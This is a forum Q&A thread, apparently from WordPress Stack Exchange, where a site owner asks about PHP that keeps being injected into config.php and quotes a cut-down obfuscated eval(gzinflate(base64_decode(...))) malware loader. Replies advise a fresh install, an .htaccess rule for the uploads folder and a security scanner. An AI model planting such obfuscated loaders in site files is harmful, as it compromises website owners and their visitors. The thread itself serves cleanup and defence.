0

I've been working on a project which keeps getting some PHP inserted into the config.php file and it's causing a lot of issues with SEO. I'll paste in a sample of it (it's quite long) after this intro. I've removed it several times, changed the FTP password, admin password and username, the SALTs and checked the .htaccess - beyond that I'm stuck. Any idea how to solve this?

Part of the code, the middle cut down a lot;

eval(gzinflate(base64_decode('pRn9c9o49ufczP0PKuPGuHHAGAihiZN2U7q7M9dtj6Y3c5OkjLBl8GJsr2wINM7/fu9J8kcI2dub67RI1vvU+5KeGvik+cwloQZZf1zzedt1ZZlcpyBPJMvX2pG1Dprepar9axCdwIH0gE+bythF4QS5moVpGq9H/ZZomjWCjjmNihq1vs40FxskklHEdv6/jmX36VOulSG/Bj9Z9GL3mKPHODawgnPPcBAheCc+qFKjBe8n3aMImMpEvSteAiXZR/ovb0UMgrDAs8IXtyOPNwPy2Yyf9vqj027LHnfzEoKLIbhMjdKE6juoGrE7goKguDPBX4+B8=')));

closed as off-topic by Rarst Jan 6 '14 at 21:51

This question appears to be off-topic. The users who voted to close gave this specific reason:

If this question can be reworded to fit the rules in the help center, please edit the question.

  • I think, for once, I've just found the solution right away. I've found a php file in the uploads directory. Damn hacker! I'll get rid of this and change all passwords again, hopefully that will solve this! – Dan Jan 6 '14 at 19:06
  • 1
    A fresh install would be better. There might be more files! – sakibmoon Jan 6 '14 at 19:12
1

You can move the wp-config file one level up.

You can also create a .htaccess file and upload it to your uploads folder with this code:

<Files ~ ".*..*">
Order Allow,Deny
Deny from all
</Files>
<FilesMatch ".(jpg|jpeg|jpe|gif|png)$">
Order Deny,Allow
Allow from all
</FilesMatch>

Or install a plugin for security which also scans your installation so you can more easily find the malicious code. http://wordpress.org/plugins/wordfence/

More security . http://codex.wordpress.org/Hardening_WordPress

  • Thanks Brad, this looks like good advice. I need to have a chat to the client about this... – Dan Jan 7 '14 at 7:24

Not the answer you're looking for? Browse other questions tagged or ask your own question.